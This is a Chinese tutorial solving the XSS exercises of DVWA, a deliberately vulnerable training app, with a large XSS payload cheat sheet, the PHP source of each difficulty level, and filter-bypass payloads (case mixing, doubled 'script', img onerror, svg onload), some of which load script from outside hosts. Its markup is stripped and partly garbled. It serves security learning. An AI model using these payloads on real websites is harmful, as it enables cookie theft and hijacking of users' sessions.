DVWA-XSS通过教程 XSS注入常用语句整理scriptalert(hellogaga!);/script //经典语句哈哈 img srcjavascript.:alert(XSS) scriptalert(XSS)/script table backgroundjavascript.:alert(([code])/table object typetext/html datajavascript.:alert(([code]);/object alert(XSS) scriptalert(document.cookie)/script scriptalert(document.cookie)/script scriptalert(document.cookie)/script scriptalert(vulnerable)/script s#99;riptalert(XSS)/script img srcjavas#99;ript:alert(XSS) %0a%0ascriptalert(\Vulnerable\)/script.jsp %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html scriptalert(Vulnerable)/script a.jsp/scriptalert(Vulnerable)/script scriptalert(Vulnerable)/script IMG SRCjavascript.:alert(XSS); IMG src/javascript.:alert(XSS) IMG src/JaVaScRiPt.:alert(XSS) IMG src/JaVaScRiPt.:alert(quot;XSSquot;) IMG SRCjav#x09;ascript.:alert(XSS); IMG SRCjav#x0A;ascript.:alert(XSS); IMG SRCjav#x0D;ascript.:alert(XSS); IMG src/java\0script.:alert(\XSS\);out IMG SRC javascript.:alert(XSS); SCRIPTa/XSS/alert(a.source)/SCRIPT BODY BACKGROUNDjavascript.:alert(XSS) BODY ONLOADalert(XSS) IMG DYNSRCjavascript.:alert(XSS) IMG LOWSRCjavascript.:alert(XSS) BGSOUND SRCjavascript.:alert(XSS); br size{alert(XSS)} LAYER SRChttp://xss.ha.ckers.org/a.js/layer LINK RELstylesheetHREFjavascript.:alert(XSS); IMG SRCvbscript.:msgbox(XSS) META. HTTP-EQUIVrefreshCONTENT0;urljavascript.:alert(XSS); IFRAME. src/javascript.:alert(XSS)/IFRAME FRAMESETFRAME. src/javascript.:alert(XSS)/FRAME/FRAMESET TABLE BACKGROUNDjavascript.:alert(XSS) DIV STYLEbackground-image: url(javascript.:alert(XSS)) DIV STYLEbehaviour: url(http://www.how-to-hack.org/exploit.html#39;); DIV STYLEwidth: expression(alert(XSS)); STYLEim\port\ja\vasc\ript:alert(XSS);/STYLE IMG STYLExss:expre\ssion(alert(XSS)) STYLE. TYPEtext/javascriptalert(XSS);/STYLE STYLE. TYPEtext/css.XSS{background-image:url(javascript.:alert(XSS));}/STYLEA CLASSXSS/A STYLE. typetext/cssBODY{background:url(javascript.:alert(XSS))}/STYLE BASE HREFjavascript.:alert(XSS);// getURL(javascript.:alert(XSS)) aget;bURL;cjavascript.:;dalert(XSS);;eval(abcd); XML SRCjavascript.:alert(XSS); BODY NLOADa();SCRIPTfunction a(){alert(XSS);}/SCRIPT SCRIPT. SRChttp://xss.ha.ckers.org/xss.jpg/SCRIPT IMG SRCjavascript.:alert(XSS) SCRIPT. aSRChttp://xss.ha.ckers.org/a.js/SCRIPT SCRIPT.SRChttp://xss.ha.ckers.org/a.js/SCRIPT SCRIPT. aSRChttp://xss.ha.ckers.org/a.js/SCRIPT SCRIPT.aSRChttp://xss.ha.ckers.org/a.js/SCRIPT SCRIPTdocument.write(SCRI);/SCRIPTPTSRChttp://xss.ha.ckers.org/a.js/SCRIPT A HREFhttp://www.gohttp://www.google.com/ogle.com/link/A反射型XSS:初级?php header (X-XSS-Protection: 0); // Is there any input? if( array_key_exists( name, $_GET ) $_GET[ name ] ! NULL ) { // Feedback for end user echo preHello . $_GET[ name ] . /pre; } ?直接插框进行测试 scriptalert(1)/scriptpayloadscriptalert(x);/scriptscriptalert(xss);/script中级:?php header (X-XSS-Protection: 0); // Is there any input? if( array_key_exists( name, $_GET ) $_GET[ name ] ! NULL ) { // Get input $name str_replace( script, , $_GET[ name ] ); // Feedback for end user echo preHello ${name}/pre; } ?发现多了$name str_replace( script, , $_GET[ name ] );把输入的内容中的script全部替换成空字符如下图script字符已被过滤掉方法一过滤了script,可以使用大小写绕过大小写型payloadsCrIPtalert(“XSS-Reflect01”);/sCrIpTsCrIPtalert(XSS-Reflect01);/sCrIpT sCRiptalert(XSS-Reflect01);/sCRipt ScriPTalert(XSS-Reflect01);/sCrIpT成功执行方法二双写型payloadscscriptriptalert(xss-reflect002);/scriptscscriptriptalert(xss-reflect002);/script成功执行高级?php header (X-XSS-Protection: 0); // Is there any input? if( array_key_exists( name, $_GET ) $_GET[ name ] ! NULL ) { // Get input $name preg_replace( /(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i, , $_GET[ name ] ); // Feedback for end user echo preHello ${name}/pre; } ?发现代码 $name preg_replace( /(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i, , $_GET[ name ] );过滤规则$name preg_replace( ‘/(.)s(.)c(.)r(.)i(.)p(.)t/i’, ‘’, $_GET[ ‘name’ ] ); 对任何模式的script都过滤了换标签参考HTML 标签参考手册构造payloadimg src0 οnerrοralert(xss)参考 img srcinvalid-image.png onerrorthis.srcdefault-image.png; this.onerrornull; altImage /img src0 onerroralert(xss)执行成功impossible预定义的字符、”、 ’、、转换为HTML实体存储型XSS(stored):初级?php if( isset( $_POST[ btnSign ] ) ) { // Get input $message trim( $_POST[ mtxMessage ] ); $name trim( $_POST[ txtName ] ); // Sanitize message input $message stripslashes( $message ); $message ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $message ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); // Sanitize name input $name ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $name ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); // Update database $query INSERT INTO guestbook ( comment, name ) VALUES ( $message, $name );; $result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre ); //mysql_close(); } ?stripslashes()用于移除由addslashes()添加的反斜杠常用于清理从数据库或 HTML 表单获取的数据。还可以正常使用以下脚本scriptalert(xss);/script scriptalert(xss)/script scriptalert(1)/script每次刷新页面都会有这个xss的弹窗因为已经被写入到数据库当中如下图:中级?php if( isset( $_POST[ btnSign ] ) ) { // Get input $message trim( $_POST[ mtxMessage ] ); $name trim( $_POST[ txtName ] ); // Sanitize message input $message strip_tags( addslashes( $message ) ); $message ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $message ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); $message htmlspecialchars( $message ); // Sanitize name input $name str_replace( script, , $name ); $name ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $name ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); // Update database $query INSERT INTO guestbook ( comment, name ) VALUES ( $message, $name );; $result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre ); //mysql_close(); } ?发现 $name str_replace( script, , $name ); $message strip_tags( addslashes( $message ) );$message htmlspecialchars( $message );htmlspecialchars() 函数用于将一些预定义的字符转换为 HTML 实体从而防止 HTML 注入攻击常用于处理用户输入的数据。 示例 以下代码将字符串中的特殊字符转换为 HTML 实体 ?php $str This is some bbold/b text.; echo htmlspecialchars($str); // 输出: This is some bbold/b text ? 功能说明 该函数会将以下字符转换为 HTML 实体 转换为 amp; 转换为 lt; 转换为 gt; 转换为 quot; 转换为 #039; 参数选项 flags: 控制引号的编码方式例如 ENT_COMPAT默认仅编码双引号。 ENT_QUOTES编码双引号和单引号。 ENT_NOQUOTES不编码任何引号。 character-set: 指定字符集默认是 UTF-8。 double_encode: 是否对已存在的 HTML 实体进行编码默认为 true。 进阶示例 ?php $str Bill Steve; echo htmlspecialchars($str, ENT_QUOTES); // 输出: Bill Steve ?方法一过滤了script,可以使用大小写绕过大小写型payloadsCrIPtalert(“XSS-Reflect01”);/sCrIpTsCrIPtalert(XSS-Reflect01);/sCrIpT sCRiptalert(XSS-Reflect01);/sCRipt ScriPTalert(XSS-Reflect01);/sCrIpT按F12在name输入框中的长度maxlength改成100或者更大以便字符能完全输入进去而Message 处无法执行方法二双写型payloadscscriptriptalert(xss-reflect002);/scriptscscriptriptalert(xss-reflect002);/script按F12在name输入框中的长度maxlength改成100或者更大以便字符能完全输入进去而Message 处无法执行高级?php if( isset( $_POST[ btnSign ] ) ) { // Get input $message trim( $_POST[ mtxMessage ] ); $name trim( $_POST[ txtName ] ); // Sanitize message input $message strip_tags( addslashes( $message ) ); $message ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $message ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); $message htmlspecialchars( $message ); // Sanitize name input $name preg_replace( /(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i, , $name ); $name ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $name ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); // Update database $query INSERT INTO guestbook ( comment, name ) VALUES ( $message, $name );; $result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre ); //mysql_close(); } ?前端页面代码发现 $name preg_replace( /(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i, , $name ); 前边初级中级的payloads都不能用name和messages换其他标签img src0 onerroralert(XSS-img)在name输入框成功执行img标签DOM型XSS:DOM型XSSDocument Object Model Cross-Site Scripting是一种基于文档对象模型DOM的跨站脚本攻击类型。它通过在客户端操作DOM来实现恶意脚本的注入和执行而无需与服务器进行交互。 DOM型XSS的工作原理 DOM型XSS的核心在于利用JavaScript操作DOM树结构。DOM是一个树状模型允许程序或脚本动态地访问和更新文档内容、结构和样式。当用户访问特定的URL时恶意脚本会被注入到DOM中并在客户端执行。例如通过操作innerHTML、document.write等方法可以将用户输入的数据直接插入到DOM中从而触发XSS攻击。 常见的DOM型XSS场景 innerHTML: 通过innerHTML属性将用户输入的数据插入到DOM中可能导致XSS攻击。 div idbox/div script var userInput img srcx onerroralert(1); document.getElementById(box).innerHTML userInput; /script document.write: 使用document.write方法将用户输入的数据写入到文档中可能导致XSS攻击。 script var userInput scriptalert(1)/script; document.write(userInput); /script location.hash: 通过操作URL中的hash部分将恶意脚本注入到DOM中。 script var hash location.hash.substring(1); document.write(hash); /script eval: 使用eval函数直接执行用户输入的数据可能导致XSS攻击。 script var userInput alert(1); eval(userInput); /script 防御措施 输入验证和输出编码: 对用户输入的数据进行严格的验证和过滤并在输出时进行编码防止恶意脚本的执行。避免使用危险的DOM操作: 尽量避免使用innerHTML、document.write、eval等危险的DOM操作使用更安全的方法如textContent。使用安全的库和框架: 使用经过安全审计的库和框架减少手动操作DOM的风险。初级?php # No protections, anything goes ?http://192.168.40.133/vulnerabilities/xss_d/?default%3Cscript%3Ealert(%27hello%EF%BC%8Cgaga!%27);%3C/script%3Escriptalert(hellogaga!);/script中级?php // Is there any input? if ( array_key_exists( default, $_GET ) !is_null ($_GET[ default ]) ) { $default $_GET[default]; # Do not allow script tags if (stripos ($default, script) ! false) { header (location: ?defaultEnglish); exit; } } ?发现代码stripos ($default, script) ! false发现script后立即返回到默认页面?defaultEnglish方法一过滤了script,可以使用大小写绕过不行大小写型payloadsCrIPtalert(“XSS-Reflect01”);/sCrIpTsCrIPtalert(XSS-Reflect01);/sCrIpT sCRiptalert(XSS-Reflect01);/sCRipt ScriPTalert(XSS-Reflect01);/sCrIpT方法二双写型payloadscscriptriptalert(xss-reflect002);/script 不行scscriptriptalert(xss-reflect002);/script方法三/selectimg src1 οnerrοralert(1)/optin/selectsvg onloadalert(xss) 可用 /optin/selectimg src1 οnerrοralert(xss-dom) 不中 构造payload /optin/selectimg src1 οnerrοralert(xss) 不中高级?php // Is there any input? if ( array_key_exists( default, $_GET ) !is_null ($_GET[ default ]) ) { # White list the allowable languages switch ($_GET[default]) { case French: case English: case German: case Spanish: # ok break; default: header (location: ?defaultEnglish); exit; } } ?查看源代码发现是黑名单用#注释掉就可以#scriptalert(hellogaga!);/scriptXSS | XSS 常用语句以及绕过思路XSS | XSS 常用语句以及绕过思路_xss语句-CSDN博客!-- 点击链接触发 - JavaScript 伪协议 -- a hrefjavascript:console.log(1)XSS1/a !-- 字符编码绕过 - JavaScript 伪协议 -- a hrefjava#x0073;cript:console.log(2)XSS2/a !-- autofocus - 当页面加载时 a 标签自动获得焦点自动触发 onfoucus 事件-- a href onfocusconsole.log(3) autofocusXSS3/a !-- eval() 执行字符串笔者测试了这里不能拆分 -- a href onclickeval(console.log(4))XSS4/a !-- 事件监听当鼠标划过元素时触发 -- a href onmouseoverconsole.log(5)XSS5/a !-- 事件监听当鼠标划出元素时触发 -- a href onmouseoutconsole.log(6)XSS6/a !-- audio 标签加载失败时触发 -- audio srcx onerrorconsole.log(1) !-- source - 音频源当音频源加载失败时触发 -- audiosource srcx onerrorconsole.log(2)/audio !-- controls 显示音频控件显示后通过 autofocus 自动获取焦点触发 onfocus 事件 -- audio controls onfocuseval(console.log(3)) autofocus/audio !-- 事件监听当鼠标划过元素时触发 -- audio controls onmouseoverconsole.log(4)/audio !-- body 标签加载完成时自动触发 -- body onloadconsole.log(1)/body !-- 事件监听焦点事件页面加载完成后button 标签自动获得焦点触发 onfocus 事件 -- button onfocusconsole.log(1) autofocusXSS1/button !-- 下面均为事件监听不多解释了 -- button onclickconsole.log(2)XSS2/button button onmouseoverconsole.log(3)XSS3/button button onmouseoutconsole.log(4)XSS4/button button onmouseupconsole.log(5)XSS5/button button onmousedownconsole.log(6)XSS6/button !-- ontoggle当 details 元素打开或关闭时执行 -- details ontoggleconsole.log(1)/details !-- open自动打开导致触发 ontoggle 事件 -- details ontoggleconsole.log(2) open/details div onmouseoverconsole.log(1)XSS1/div !-- 点击按钮时触发 action 操作 -- form methodpost actionjavascript:alert(1)input typesubmit/form !-- 伪协议触发没看头 -- form methodpost actionjavascript: onmouseoverconsole.log(1)input typesubmit/form form methodpost actionjavascript: onmouseoutconsole.log(2)input typesubmit/form form methodpost actionjavascript: onmouseupconsole.log(3)input typesubmit/form !-- JavaScript 伪协议 - 加载时自动触发 -- iframe srcjavascript:console.log(1);/iframe !-- dataURL 伪协议 - 加载时自动触发 -- iframe srcdata:text/html;base64,PHNjcmlwdD5jb25zb2xlLmxvZygyKTwvc2NyaXB0Pg/iframe !-- 下面均为事件监听触发没有什么新意 -- iframe onloadconsole.log(3)/iframe iframe onmouseoverconsole.log(4)/iframe 0x0109img 标签 !-- 图片加载失败时触发 onerror 事件 -- img srcx onerrorconsole.log(1) img srcx onerroreval(console.log(2)) !-- 下面均为事件监听触发没有什么新意就不讲了 -- img srcx onmouseoverconsole.log(3) img srcx onmouseoutconsole.log(4) img srcx onclickconsole.log(5) !-- 页面加载完成后下面的 Input 标签自动获得焦点触发 onfocus 事件 -- input onfocusconsole.log(1) autofocus !-- 下面均为事件监听触发 -- input onclickconsole.log(2) input onmouseoverconsole.log(3) input onmousemoveconsole.log(4) input typetext onkeydownconsole.log(5)/input input typetext onkeypressconsole.log(6)/input input typetext onkeydownconsole.log(7)/input !-- object dataURL 伪协议 -- object datadata:text/html;base64,PHNjcmlwdD5jb25zb2xlLmxvZygxKTwvc2NyaXB0Pg/object !-- 下面均为事件监听触发 -- p onclickconsole.log(1)XSS1/p p onmouseoverconsole.log(2)XSS2/p p onmouseoutconsole.log(3)XSS3/p p onmouseupconsole.log(4)XSS4/p scriptconsole.log(xss)/script scriptconsole.log(/xss/)/script scriptconsole.log(12345)/script !-- 页面加载完成后,自动将焦点聚在 select 标签,触发 onfocus 事件 -- select onfocusconsole.log(1) autofocus/select !-- 下面均为事件监听触发 -- select onmouseoverconsole.log(2)/select select onclickeval(console.log(3))/select svg onloadconsole.log(1)/svg !-- 下面为 0 点击自动触发 -- video srcx onerrorconsole.log(1)/video videosource onerrorconsole.log(2)/video video controls onfocusconsole.log(3) autofocus/video !-- 下面均为事件监听触发 - 需要互动 -- video controls onclickconsole.log(4)/video video controls onmouseoverconsole.log(5)/video